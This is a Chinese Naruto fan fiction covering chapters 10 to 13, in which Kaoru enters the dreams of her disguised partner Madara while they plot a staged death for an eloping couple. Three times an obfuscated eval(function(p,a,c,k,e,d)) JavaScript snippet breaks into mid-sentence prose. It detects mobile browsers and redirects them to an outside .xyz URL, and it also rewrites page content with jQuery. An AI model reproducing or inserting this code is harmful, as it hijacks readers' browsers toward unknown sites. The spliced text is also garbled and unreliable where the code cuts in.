最好的结果是，林下城城主为他们伪造身份提供庇护，首肯二人假死一事。 往后再要追究，责任也在林下城。 最差的结果，大概就是她当着这些人的面和志叶芽衣演一场戏，让二人假死脱身。 熏私心不想走到这一步，她终究贪心、得寸进尺，希望能多得到一些东西。 就像打游戏，通关也分无伤通关和勉强通关。 芽衣表示没问题，但又问起了志叶的下落。 “啊，他回去休息了，你有事要找他吗？”提起志叶的时候，熏不禁想起离开前志叶说的那番话，心里乱得不行，但又担心芽衣会以为他们起了矛盾散伙失去信任，于是好声好气地解释，“他昨天没休息好，我晚一会儿去找他说这事。” 芽衣盯着熏的头发看了会儿，而后摇头：“不用了，你们要是想要对我动手，不必绕这么大的圈子。” 熏悄悄松了口气，又听她问起从雇主家来的信使被你安顿在哪里。 她有些狐疑地看向黑发女人：“你要做什么？” 芽衣沉稳地微笑着：“他现在还不适合醒过来，我会留他一条性命的。” 女忍的笑容很温柔，熏定定地看了她几秒，而后不太适应地挪开与她对视的眼睛，眉头稍稍蹙起，生硬地拒绝道：“我会处理好这件事。” “那就麻烦你了，瑠花小姐。”芽衣垂下眸轻轻说。 “……”熏轻轻点了下头，又听见不远处秀哉过来找芽衣的脚步声，没再多说什么瞬身藏在树中，又不禁看向芽衣二人。 芽衣此刻已经转回身迎了过去，听着秀哉说今日城主要安排去郊外打猎的事宜，脸上笑容温和。 熏蹲在树梢上，抬手摸了摸脖颈间的冷汗，但刚才自芽衣身上感受到的清浅杀意似乎还残留在身上。 她注视着树下一派和气时而被恋人逗笑的成年忍者，突然思考起一个问题。 ——如果，她没有想太多要直接完成任务，和芽衣对上，能否在她手上讨得了好？ 熏突然意识到，对方不仅是个“忍者失格”和贵族私奔的人，也同样是个隐藏实力的忍者。 和她最初的推测不同，芽衣恐怕不是什么被感情冲昏头脑的三流忍者。 如果她当初真的不管不顾冲出去了，死的是谁恐怕还不好说。 似乎是她的注视存在感太强，院中的忍者突然回首望了过来。 “芽衣？”秀哉问道。 “没什么。”女忍轻轻摇了摇头，对着你的方向翘了翘嘴角，收回目光，“不是说要出猎吗，你还不去换衣服？” 熏已经离开了院子，一边往回走去找信使，一边有些想不通，什么样的忍者才能做出这种事。 家族、在雇主那里的名誉、体系化的忍者教育……那个什么秀哉是对一个优秀的忍者下了迷情剂吗让一个实力不弱的忍者把那些东西都抛下了选择私奔。 要不是这样，熏也不会在一开始判断对方是个不入流的忍者。 熏站在昏迷的信使面前时，依旧想不通。 ——说实话，在刚才芽衣言语里对信使露出杀意时，她竟然会觉得芽衣比志叶给她的威胁还要大。 熏也突然意识到自己面前的人是个货真价实的忍者。 没有把其他人的命当回事的忍者。 不得不说，她有些沮丧，甚至有些怀疑自己的选择是否正确。 熏用了个变身术变成了信使的模样去旅舍投宿，又把对方扔进了旅舍的房间。 接下来就是要保证对方短时间醒不过来坏事——熏回忆着自己学过的忍术中哪些能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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还是在熏的父亲死后，家里完成任务的重担都落到了熏身上，加上柱间扉间兄弟拉着她特训，她才基本能够控制自己的状态。 昨天的昏迷，算起来确实可疑。 ——等等，志叶回去休息了，不就是试探入梦的时机吗？ 只是入梦这事终究侵犯隐私，要知道时至今日柱间都谈梦色变。当初自己没法控制能力把他的梦当他家门一样随意串的事给他留下了不小的心理阴影。 大概五六年前，也不知道他怎么了，整整三个月，明明知道她已经学会控制不去别人的梦境了，每天还巴巴地问她一声会不会突然失控去他梦里。 老实说，要不是她的道德感真的在某些地方很高，就冲柱间这么不信任她每日一问的毅力，她高低给柱间表演个不好意思能力失控了，去他梦里看看他到底有什么见不得人的东西。 不过后来柱间不知道是被族长骂了还是怎么了，颓废了好几个星期，也不和她说什么千万别去他梦里的话了，要不是扉间拦着她，她是真的想去梦里问问柱间到底是怎么回事。 熏当然不会打消试探的心，只是决定买点东西补偿一下试探对象。 10. 忍族混战10 熏自然不能让志叶察觉出自己是因为心虚才送东西给他的。 所以得有个理由。 理由也是现成的。 他们马上就要处理完这桩烦人的任务了，下次再见面他们很可能就是在战场上。 临别前送点东西纪念一下，表示好聚好散。 以他们萍水相逢的关系，熏也不用太过苦恼送什么，送点武器敷衍一下足够了。 忍者常用的武器想必志叶也不缺，而太具有忍者特征的武器不好买不说，还容易暴露忍者身份。 熏想了想，拐进一家铁匠铺订了把短刀，第二天来取。 长刀都是随身用惯了的武器不太好换，她也不会送多名贵的刀，所以送了也用不上，不如送把短刀，野外用也方便。 ——虽然很多时候苦无是平替。 决定补偿的东西后，熏又回了放置信使的房间，坐在房中的桌前，缓缓闭上眼，尝试入梦。 入梦的条件并不苛刻，只需要被入梦的对象和入梦之人都睡着，就能尝试。 施术者在睡着后要不断以精神呼唤被入梦者的名字，至于这个名字是不是假名也不重要，只是为了让入梦之人找到目标罢了。熟悉后连这个步骤都可以省略。 被入梦的人可能会在梦中回应呼唤，也可能不会回应，但只要被找到了，施术者就有机会进入对方的梦。 双方的距离会对入梦造成一定影响，但也只是影响找到对方、链接对方梦境的时间罢了。 如果离得近，可能就直接和一开始熏进入柱间的梦那样，连招呼都不用打，直接就被拉进去了。 以前研究入梦能力限制的时候，熏和扉间没少折腾柱间，有时候还让柱间特意去城里睡觉。 但能被熏入梦的人，这么多年来，也只有柱间一人。 熏感觉身体在逐渐变轻上升，闭眼后眼前一片黑暗。 现在是白天，柱间不可能在遥远的千手族地睡觉，所以熏也不用担心自己链接错人的梦境跑去柱间的梦里。 黑暗中，她开始呼唤志叶的名字，回忆着志叶身上的气与查克拉，寻找着漆黑的视野中可能存在的志叶的痕迹—— 黑暗的灵视中，并没有名为志叶的忍者的回应，但却逐渐显现出一条飘忽的、暗蓝色的气。 如同缎带般在漆黑灵视中飘荡着的气连接着不远处的终点。 熏认了出来，这确确实实是志叶身上的“气”。 熏在这条链接着对方梦境的纽带前愣住了。 所以，志叶真的是能被入梦之人。 ——但志叶并不知道她的真名，昨天那个梦大概率是她的，和志叶无关。 一切只是凑巧而已。 在伸手抓住通往志叶梦境的“钥匙”前，熏也不知道自己在害怕什么，闭上了眼。 接着，她被一道吸力拉入了志叶的梦。 志叶的梦正处在晚上。 熏藏在茂密的树冠中，眼前的一切都很熟悉。 漆黑的檐廊外侧挂着几盏绘着林下城主家纹的昏黄灯笼，树木房檐投下的阴影交叠着，稍远处是提灯巡逻缓缓移动的家臣。 ——林下城城主的府邸。 熏愣了一下，转头就看见身边蹲了个姿势差不多的少年。 他们的肩膀几乎碰到了一起，熏一转头就看见志叶脑袋上炸开的蓬松黑发。 似乎是注意到熏的走神，少年转头看向她，微皱着眉，拉过她的手以密文传递着消息。 “你怎么了？”以密文问她的同时，他还以手按住了熏的肩膀，凑近脸庞，深黑的眼珠仔细地打量她。 熏感觉自己货真价实地体会了一把“炸毛”的感觉，全身的细胞都在叫嚣着哪里不对。 志叶的梦信息量大得她有点招架不住，她的脑袋直接宕机，只知道瞪大眼睛盯着离她的脸不足一个手掌宽的少年。 ——这家伙在梦里都还在梦着监视林下城的内容？ ——不对，志叶怎么完全不在乎距离了，这家伙不是平时稍微离得近一点就要把忍者失格放在嘴边吗！ ——虽然这是梦，但他也太放松警惕了吧！这么近，完全可以杀掉他了！ 这些念头之外，熏又觉得，连梦里都是任务的志叶，一定不会梦到南贺川。 他能被入梦只是巧合，昨天的梦也只能是她自己的。 ……真是太好了。 明明该松一口气，熏却被志叶盯得心底隐隐不安。 但这个场景确实不适合交谈，而且梦里还要工作算什么事啊—— 熏当即打算扭曲梦境，换个好说话的场景。这对熏来说本来是件很简单的事，可这次却出了意外。 她和志叶还蹲在树上，紧紧挨在一起，面面相觑着。 熏：？ 怎么回事？ 梦境只在一开始的时候短暂扭曲了一瞬，持续不到一秒就恢复了原状。这就算了，刚才还在稍远处的家臣正沿着巡逻路线向这边走来。 她面前的志叶还轻轻挑了下眉，也不用密文，直接开口：“幻术？” 一切都过于真实，熏下意识抬起手捂住了少年的嘴，甚至还在心里骂了一声志叶在干什么。 树下，拎着灯笼的巡逻组停了下来。 “你听见什么声音了吗？”家臣甲问。 “有吗？”家臣乙疑惑地转转脑袋，朝周围看去，“是风吧？” 熏察觉到志叶微微动了下脑袋，柔软的唇瓣轻轻擦过她的掌心，被捂住的口鼻在呼吸间濡湿了她掌心的肌肤。熏屏住了呼吸，控梦能力的失控和梦中越发紧张的气氛让熏也不由认真起来，一开始被志叶握住传递密文的手也不由收拢，反握住了掌中的那只手。 她没注意到，被她握住的那只手短暂的僵硬了一下，而后放松任由她握住。 树下那两个巡逻的家臣四处转悠寻找着刚才动静的来源，甚至还提高了灯笼朝树上看来。 根据熏以前做噩梦的经验，一旦被发现，他们估计就要陷入追逐战了，追着他们的敌人可能什么都有，从普通人到哥斯拉和丧尸，应有尽有。 毕竟她入了梦后，这个梦也会在一定程度上受到她本人意识的影响。 因此熏越发紧张，从少年脸上移开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”熏有了个不妙的猜测。 她控梦的能力也就只在柱间面前用过，而且是在很久以前，那时候柱间和熏都没接触过幻术。 而之后熏控梦也只是在自己的梦里调整一下内容，也没人能在她梦里分析梦境改变的原理。 所以……幻术改变幻境和控梦的原理可能是相通的。志叶可能学过幻术，所以才会这么说，这也能解释刚才梦境为什么没有变化。 因为志叶可能有幻术抗性啊！ 那么，在志叶眼中，潜伏的时候，同伴突然对他用幻术，算什么行为？ 熏不知道志叶是怎么理解这件事的。 反正她遇到这种事会先下手为强，捅对方一刀。 ……谁说梦没有逻辑的？ 她完全理解志叶刚才突然说话引来敌人的行为了。 11. 忍族混战11 宇智波斑是在熏和他说话时，意识到这是一个梦的。 人在梦中向来容易放松警惕，他也确实熬了快一夜，因此并没有立刻因为熏的能力警惕起来。 上一个梦，他在梦中预感着接下来柱间会出现，出现的却是完全无关的熏，这便彻底激发了他的警惕，使得他清醒过来。 而这一次，他本就在梦中执行着无趣的任务，熏也确实是他的同伴。 见到熏的瞬间他有过短暂疑惑：一个监视任务，犯不着两个人一起。而且在熏的面前他要隐瞒身份，熏反而成为了他的掣肘。 但斑还是接受了这个设定。 他们就像最初的时候那样，需要交流的时候，便书写密文通知对方。 浓密的树影间，样貌的特征被模糊了，亮金色的头发在黑暗中也不再闪烁，只有呼吸声一声比一声清晰。 梦中的他和熏时不时地聊上那么一两句，确认双方状态正常。 书写密文的手指划过对方温热的掌心，夜晚微凉的空气转瞬带走指尖沾染到的对方的体温。 宇智波斑莫名有些焦躁，又在少女拉过他手给予回应时恢复了些许。 期间聊起芽衣。 熏问他是怎么和芽衣交涉获取信任的。 斑这时记起来了，熏是个需要警惕的外族人。 他微微侧目看了过去，外族人正认真地盯着城主的房间，似乎并没有把刚才的问题当回事，稳稳地维持着敛息术，几乎与树影融为一体。 于是他回了个中规中矩的答案，又在少女有些狐疑的目光下回了句“你都能说服我，为什么不能相信我能说服她”。 少女被他的揶揄气得狠狠瞪了他一眼，甩开他的手不看他了。 斑也不知道原因，就是想笑，却还顾忌着任务，也盯着监视目标不说话了。 气温随着时间的推移越发低了，巡逻的侍从路过几次，斑都还没察觉到这是梦。 让他察觉到这是梦的，是熏突然开口说的话。 在熏凑过来和他说话的时候，斑第一反应就是她不能因为没有异动就放松警惕直接说起话来，被发觉会很麻烦。 但在听清她说的是什么后，斑觉得她放松警惕都是小事了。 “斑，这个任务结束，我们应该就再也见不到了吧？”熏好似在聊着家常话题，就这么随口地问了出来。 宇智波斑僵硬地转头看向她。 “斑？”他问。 少女理所当然地点头：“你不就是斑吗？你不喜欢我这样叫你？那我还是叫你志叶？” 巨大的荒谬感的冲击下，宇智波斑突然意识到，这只是一个梦。 所以熏一个身份不明的外族人会这么平静地叫出他的真名。 斑盯着熏瞧，被梦所放大的欲望没了约束，轻松地夺取了心灵的阵地。 有个声音说服他：就算是外族人又怎么样，当年的柱间不也是外族人吗？ 熏必然不会是千手熏，也不会再有人会认为他有背叛宇智波的嫌疑。 他又没把熏当朋友，只是任务需要罢了。 任务结束，一切也就结束了。 更何况，这只是个梦—— 但是，不可以。 斑无法忍受少女就这么平静地呼唤他的名字。 和不是同族的身份、虚假的梦境都没有关系。 “你都没有告诉我你的名字。”斑指责道。 少女心虚地别开眼睛。并不像他往日总是能得偿所愿的其他梦境一样，即便在梦中，熏也依旧嘴硬得让人不觉觉得可恨。 “我不是说了吗，泉——”没说完的话直接被打断。 宇智波斑伸手捂住了熏的嘴，以防对方再度盗用弟弟的名字。 少女惊讶地眨了眨眼睛，开始掰他的手。 “明知道我是谁，还在我面前用泉奈的名字？”宇智波斑沉着脸冷笑道，却又瞥见少女金发因为两人的动作而散乱不少，好几缕就这么垂落到他的小臂上，蜿蜒犹如要缠绕住他的绳索。 明明只是再普通不过的一幕，却让他瞳孔震颤，似乎小臂上已经有了被缠绕收紧的错觉，他猛地收回手，在少女诧异地目光下冷冷开口：“随便你找什么理由，但既然这样，你还是叫我志叶好了，瑠花。” “志叶就志叶，真小气。”少女蹲在他边上，小声地吐槽了一句，继续盯着周围的动向。 “……”宇智波斑也憋着一口气，不再搭理少女。 * 全然不知道在入梦前“自己”已经和志叶起过一次“争执”的熏此刻正在沉默。 意识到自己可能被对方误会后，熏满肚子搜刮给自己解围的方式，最后艰难地解释道：“对啊，因为交流实在太麻烦了，所以我想着干脆我们一起进幻术交流。” ——差不多得了！梦这种没有逻辑的东西就不要深究细节了，我都找好借口了，志叶你就信了吧！ “这样吗？”宇智波斑并没说自己信没信，只是淡淡地反问了一句。 熏有点想离开这个梦了，已经确认志叶不是宇智波，昨天那个梦也不需要太较真去验证究竟是谁的，毕竟梦里的志叶叫了她真名，怎么也不可能是他的梦。 但刚才控梦术的失效让熏警惕起来。 她和柱间从来没深入研究过这东西，不知道控梦术和幻术——或者说控制精神的忍术之间的具体关系。 如今志叶已经开始警惕起她会用幻术，他看起来也具有一定的幻术能力，她这时候离开会不会被对方以相似手段阻拦—— 更为重要的是，如果她在梦中受到幻术相关的攻击，攻击会不会奏效？ 第一次把这个术用于外族人的实操上，熏才陡然意识到这个术可能存在的风险。 面对志叶不咸不淡的回应，熏忙不迭点头，一面想着要不这次回去后找柱间实验下，一面对志叶解释：“是啊，我只是想有个安全一点的环境和你说话，刚才虽然没被发现，但确实很危险啊。” “……好吧，”宇智波斑轻轻抬起手，“如果你只是想要个足够安全的环境，但不要什么都不说就直接对别人用幻术。” 熏诧异地看着周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848934|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的环境在志叶抬手间隐去，就像是观看演出时舞台突然黑了下来切换场景一样，当四周再度亮起来时，林下城的领主府已经彻底变了个样，天空中也升起了一轮巨大的明月。 “……这是幻术？”这一次，发出疑问的变成了熏。 如果不是志叶先提起了幻术，看到这一幕时，熏肯定会认为志叶也会控梦。 “嗯，这里够安全了吗？”志叶淡淡地看着她，问道。 熏：“……” 她转过头，沉默地望向眼前熟悉的一切，有一瞬间失去了言语。 远处的聚落沉睡在漆黑的阴影中。 她和志叶依旧待在树上，能自高处眺望。明亮的月光之下，志叶的眉眼清晰可见，只是他们身畔都多出了密密匝匝缀满花朵的细长垂枝。 ——熏甚至有种自己和志叶快被花包围了的窒息感。 风吹过垂枝樱的细枝，柔嫩的花瓣擦过熏的脸颊散开，随风飘落，带起一股痒意。 她不禁抬起手碰了碰刚才被花碰到的地方，又看着志叶发呆。 “为什么是这里？”熏问。 她原本以为志叶就算会控梦，也会把场景换到他们现在的临时住处。 ……而不是这种毫无道理的地方。 这是她和志叶第一次见面的那棵垂枝樱所在的地方，就连明朗的月色，也被志叶的幻术所还原。 “没有其他人在，足够安全。”志叶说。 熏眨了眨眼，她看着一本正经解释着的志叶，就是忍不住地觉得心慌。 她悄悄捏了捏自己的掌心：“到头来我们还得待在树上，而且这种地方太容易让人分心了，你真的认真考虑过用什么场景吗？” 宇智波斑看着少女发梢处沾到的一片花瓣，没有也没想过移开目光，心觉确实很容易让人分心，便嗯了一声。 “……啊？”熏闻言呆了一下，没想到志叶就这么承认了。 “我都要怀疑你故意选这个地方了，我来换——” “不想在树上，下去不就好了？”少年回过神，打断道。 熏：“……” 她有点想反驳，她想说自己并不是只因为这个原因所以不想待在这个幻术里，但却自己也不知道其他原因是什么。 最后她说了声好，手腕轻轻一动，撑着树枝落了下去，抖落身上细碎的花瓣，而后抬起头望向还没动的志叶。 这一抬头，熏却彻底愣住了。 眼前这一幕，仿佛和那天一模一样。 她站在树下，抬起头的瞬间，见到了目光恰巧与她相遇的少年。 只是这一次，志叶没有当机立断抽出刀来，他们没能打起来。 但熏再一次听见了自己那不起眼的、之前藏在刀剑相交声之下的心跳声。 一声快过一声。 接着，志叶也跳了下来。 熏还记得自己的目的是搞清楚志叶究竟和南贺川有没有关系，找回自己的理智后她略带茫然开口：“志叶——” “别叫我志叶。”对方却没让她的话说完。 12.忍族混战12 “啊？”熏感到有些莫名，“不叫你志叶……难道要叫你柱间吗？” 想起一开始志叶报给她的名字，熏不由为难起来——对着志叶叫柱间的名字，实在太有挑战了。 “……”斑的额角猛地跳动了一下，陡然想起即使是“志叶”这个假名，也是熏根据柱间的名字想出来的。 “别装了，”一旦意识到这个事实，斑的心底就仿佛燃烧着灼灼烈火，略带嘲讽，“你和我都再清楚不过，我们说的都是假名，也别叫我这个名字。” 志叶在梦中直接戳穿两人心知肚明的事让熏微愣，而后她突然意识到，志叶是在不满他们之间连名字都是假的。 这个认知让熏没来由的有些高兴。 梦会使人放纵，暴露秘密和性情。 这是个打探志叶身份的好时机——虽然此刻其实已经不太需要了。 她眼珠转了转，手背在身后，向前踏出一步，仰头注视着少年：“志叶你可真过分，一开始骗人的明明是你吧？” “什——” 少女又踏出一步，观察着少年的神情，浑然不觉自己踩在了地上堆叠的花瓣上。 见志叶维持往日那副波澜不惊的模样一步不退，而实际上一眼扫去他全身的肌肉几乎都绷得死紧的，熏便有些想笑。 “不过，千手柱间毕竟是千手的人，板上钉钉的千手继承人，你为什么要用他的名字？”熏打断志叶的话，“莫非……他是你的仇人？” 宇智波斑皱了皱眉，没想到梦中的熏口舌功夫竟和那个真实的熏不遑多让。 “你怎么这么关注柱间？别和我谈他。” “……柱间？”熏古怪地看了斑一眼，“你这么叫他？” 不知道姓就算了，知道姓还这么称呼，有些亲密了吧？ 斑：“……” 他木着张脸，不想再和熏谈论这个话题：“以前的朋友，但现在是对手。” 熏倒吸一口气，重复道：“朋友。” 真是无巧不成书。 这么说，志叶其实和他们千手还有点关系？ 柱间认识的朋友，大概是同盟忍族里的人。 这一次熏是彻底放下心来了。 至于志叶后半句话，熏完全没当回事。 对手，这个词可就比仇敌含糊多了。 但随之而来的就是另一个问题——如果志叶是在等柱间，那么他虽然不住在附近，梦到南贺川也是合理的。 昨天的梦里，志叶本来就说他在等人。 ——如果那是志叶的梦，怎么解释志叶能叫出她的名字？！ 熏还待试探，少年仿佛察觉到了什么，冷着脸道：“重点在后半句。” 熏心说又是朋友又是对手的，这题她熟，年龄相似的关系好点的忍者哪个不是这种关系。 她还经常说扉间桃华是她的对手呢，这妨碍她接了任务后跑去找扉间分析出主意、祭典节庆一个不落找桃华结伴玩耍吗？ 一点都不啊！ 于是熏说：“我懂我懂，我明白的。” 斑隐隐觉得不对，眯起眼问她：“你明白了什么？” 熏：“大家都这样。是朋友还是对手，我自有定论。” “瑠花！”斑忍无可忍地，曲起指节敲了下她的脑袋。 这一下，斑愣住了，熏也愣住了。 斑盯着自己的手看了半晌，又看向熏，语气间充满了怀疑：“你怎么不躲？” 熏也一派指责地看他：“刚才你还说我用幻术，现在你动手也不说一声？” 先动手是宇智波斑理亏，但对方只是自己梦的产物，而且他并没有用偷袭之类的手法，稍微警醒点就能避开的，因此斑并不觉得自己需要和对方解释或者道歉，于是生硬地转移话题：“你还是叫我志叶吧。” “……”熏有一瞬间的无语，“这就退让了吗？刚才不还在因为名字的事闹别扭吗？” 斑危险地看向她：“闹别扭？” 他想起之前那个被熏闯入的梦境，对方也是蛮不叫理般直接宣布他是什么“傲娇”。 一味被挑衅还不反击，根本不是他的做派。 熏直觉般不安，猛地退开，她轻咳了下，心虚解释：“我只是想知道你到底叫什么。” 明明普通的一句解释，没有道歉和讨好，却就这么将斑安抚下来了。 他哼了声道：“那你总该先告诉我的名字吧？” 熏想是这个理——主要是她的名字远没有柱间有名，说出去了对方也不知道，于是道：“好啊，你叫我熏就可以了。” ——依旧没说姓氏。 熏觉得自己留了好大一个心眼。 斑：“……” “轮到你了，志叶。”熏期待道。 斑正要说出自己的名字，忽而又想起了昨晚被入侵的梦和白天熏的试探，要到嘴边的名字就这么止住了。 连续两天都梦到熏——真的有这么巧合？ “你取假名一如既往地敷衍，不就是瑠花倒过来念吗？”这么一迟疑，原本想要说出名字的斑话锋一转，探究地看向熏。 熏没想到志叶居然在梦里还这么警惕，闻言一愣，随即大怒：“这是真名！真名！志叶你是不是想赖账！” 斑若有所思：“知道了，熏，但我也得先确认你没有骗我吧？” 正好，眼前的少女在确认身份的方式上刚好在不久前给他打了个样。 自证自己没骗人？谁都知道这是不可能的事。 熏忿忿地捏紧了拳头：“哼，谁稀罕知道你的名字！我往后就叫你志叶了！” 与此同时，熏也彻底放下心。 ——所以，志叶在此之前不知道她的名字，昨天的梦确实只是巧合。 得到自己想要的答案后，熏开始思考如何离开这个梦。 因为这个梦正被志叶的“幻术”覆盖着，熏不敢直接尝试脱离。 她就着这副气愤的模样让志叶解开幻术，不想再和他说话了，说志叶一人在这里守着就足够了，谁叫这个任务目前来看获利更多的是志叶。 斑没多说什么，解开幻术，刹那间他们又回到了城主府院子里的树上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14857022|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见到和一开始一般无二的场景，熏松了口气。她本来打算离开，但想了想还是拉过斑的手用密文写了句话，告别后才离开。 等到脱离志叶的视线，周围的环境因为远离作为梦境中心的主人而显得有些模糊，熏才尝试解开入梦术脱离梦境。 这一次没有遇到丝毫阻碍。 醒来后熏先确认一旁的信使依旧处在昏迷状态，再确认现在的时间。 梦中看似只过去了一会儿，现实却已经过去了不少时间，已经错过了午饭饭点。 见还有时间，熏重新整理自己的计划。 虽然说出来有点难听，但是熏的计划简单些来说就是几头骗。 实施到位的话，她和志叶原本的任务都可以“圆满完成”。 首先是先向林下城城主表明自己受到了目标为秀哉芽衣的忍者狙杀，秀哉成为了对方的目标，需要暂时留下芽衣的命保护秀哉的安全。 为了摆脱对方的追杀，她再提议让秀哉假死，并在实施假死后“杀”了芽衣，同时请林下城的城主在雇主那边斡旋帮忙。 这样一来，在雇主眼里，实际上还是一死一活，她和志叶那边的任务就都算完成了。 风险也有——如果城主直接要求她解决志叶。 熏暂时没想好如果遇到这种情况该怎么办，打算问问志叶的想法。 见时间差不多了，她就收拾好东西回去找志叶。 一进门，熏就见志叶已经起来了。他站在院子边上看着劈好的柴堆，双手揣在袖中，微皱着眉，似乎在思考。 见到她回来，少年微微抬头看了过来，很平淡地问道：“怎么回来了？” 大概是因为志叶那个梦，熏不禁联想起一开始见到的志叶——冷淡而高傲，一言不合就动手，和如今的模样反差太大了。 熏压下心中那股越发古怪的感觉，把信使的事和自己的打算给志叶说了，问志叶的意见。 “没什么大问题，就这么办吧，”斑说完后注意到熏略显犹豫的神情，声音微顿，还是问道，“还有什么顾虑吗？” “我在想这是不是太过想当然了，城主真的会接受我的提议吗？”熏说起自己的疑虑，“如果他不接受，要求我把你也一起解决了怎么办？” 见志叶似乎要笑她，熏下意识制止：“你别笑！我知道你很难对付，但是我认真起来你也别想讨得了好！” 昨天切磋到一半昏过去真的只是个意外。 斑诧异地挑了挑眉，却也没解释刚才自己只是单纯地想要笑而已：“你想多了。” 熏还有些不信：“真的？” “我要是想取笑你，”斑说到这里时沉默了片刻，发觉自己想象不出这副场景，然后才继续道，“你这么说也阻止不了我。” “……志叶，其实吧，我觉得你也不太会说话。”熏捏紧了拳头 。 “是吗？我本来还想说你可以制造一个城主不得不接受假死方案的理由，”斑慢吞吞走到门前，推开门打算进去，“既然我不会说话，那就不说了。” 熏：！！！ 13.忍族混战13 熏连忙追了上去，似乎全然忘了自己刚才说了什么，跟在志叶身后追问。 宇智波斑再度感到头疼，他轻轻向后一瞥，熏便注意到了立刻让开一大片位置，还冲他笑了笑，嘴里说着什么“忘了你不喜欢身后有人了”。 斑：“……” 也不知道这是什么性格。 他叹了口气，转回身问熏：“你不是宇智波吗？” 熏疑惑地“啊”了一声，随即脸色大变，忙不迭地摆手：“不行不行，我……” 她刚要说自己没有写轮眼，又想起自己之前已经放过了大话，憋了好半天才说：“你知道偏科吗？我虽然是宇智波，但是幻术不行。” 她一边这么说着，一边心头又泛起狐疑：这家伙在梦里可是直接掀开遮羞布说了不相信我们互相报的身份，怎么这时候又突然提起这事？ 熏脑中灵光一闪：好狡猾的志叶，又在试探她！ 斑当然知道熏不是宇智波，提起这件事，也只是为了引出接下来的话题：“你的任务，酬金并不高吧？” 熏愣了愣，点头：“……还好吧。” 她的任务属于临时变更，从护送任务变成了追杀一个身份不明的忍者，雇主也就象征性地加了些钱。大概是看她没成年，又是一个人来的，雇主还指责她作为千手实在没有其他千手专业，否则也不会到得这么晚，让新郎有机会私奔。 雇主是千手的常客了，饶是熏想解释自己是按照任务书要求抵达的，还是顾忌着千手的业内名声，没和不讲道理的甲方掰扯，就跟论文答辩的时候只要附和台下老师指出来的错误一个道理，这种时候解释是没用的。 她隐去家族和具体过程含糊地和志叶解释了一遍这事的原委，只见少年的表情越发古怪。 “难怪你一开始不情愿做这个任务，”志叶抱着手臂说道，“你一个人出任务的经历不多吧？” 第一次单独出任务的熏：“……” “我不知道你从哪儿推断出来的，”熏色厉内荏，抬起下巴，语气却干巴巴的，“我出的任务次数肯定比你想象的多。” “这就奇怪了，你的雇主明知道护送任务和暗杀任务在各族内定级区别都很大，更何况要暗杀的还是个忍者。忍族会委派的忍者绝不会还是一个接护送任务的忍者，为什么会坚持让你来完成这个任务？”斑毕竟是未来的宇智波族长，已经处理过不少的族务，对各族的任务流程都有一定了解，本身也处理过许多任务的突发状况，当即指出熏这遭任务中不对劲的地方，“你又为什么答应了？” 熏看向语气不觉严厉起来的少年，心头不太舒服：“你在质问我吗，志叶？” 斑闻言微怔，发觉自己不禁用上了对待失误族人的态度，就见熏似乎只是这么提了一嘴，不太在意地解释起来：“我也和雇主说了，最好换个人来做这任务，但雇主嫌中间会耗费更多时间，坚持让我赶紧去——” 这一次不用志叶说，熏也察觉到不对了。 她已经在这个任务上耽误了足够长的时间，雇主如果真的有那么焦急，在接到林下城消息后早就该增派人手了。 要知道雇主一开始就不满做任务的是她，认为她年龄太小不专业，为什么能容忍她把任务周期拖延到现在？ 但是雇主这么做又是为了什么？她一个普通千手，针对她有什么意义，针对扉间柱间都比针对她有意义啊！ 而且雇主是千手的老主顾了，要说他是为了省钱，也不可能。这些雇主们再清楚不过一分钱一分货的道理，不然千手和宇智波的雇佣金也不会高出其他忍族一大截还有人愿意来雇佣。 “这件事结束后我会去调查的，我们千……宇智波没这么好被欺负，”熏抿了抿唇，发觉自己可能被利用了的感觉并不好，“不过，志叶你为什么要提起这件事？” “普通的暗杀任务，和从一个千手的手中保下一个人并且杀死另一个忍者的任务，不该是一个价格。”斑原本想说宇智波，但想起两人目前的情况，还是被迫认下了千手的身份。 “而且，你不用担心，我的幻术还不错，城主会同意的。”斑说。 只能到时候背着熏去见一趟城主了。 熏：…… 她勉强保持着表情没有太大变化，只觉得自己的马甲真是忽隐忽现。 她必然不能和城主说对面忍者是千手，她本来就是千手，对面怎么还可能是千手啊。就算现在城主还不知道，但只要城主和雇主一对，就会发现端倪，所以…… 就是你了，宇智波！ 两人计划好之后的安排，熏又和志叶赶到今日城主等人游猎的郊外。 此刻众人正在修整，准备回程，熏给志叶打了个眼色，少年便结印变了个模样，率先向人群中的秀哉掠去，手腕一翻飞出数柄手里剑。 熏低头检查了遍自己的行头，看起来确实风尘仆仆，随即在远处芽衣戒备地拔剑后赶来，掷出苦无拦住了志叶的手里剑，就这么直接在众人面前和志叶打了起来。 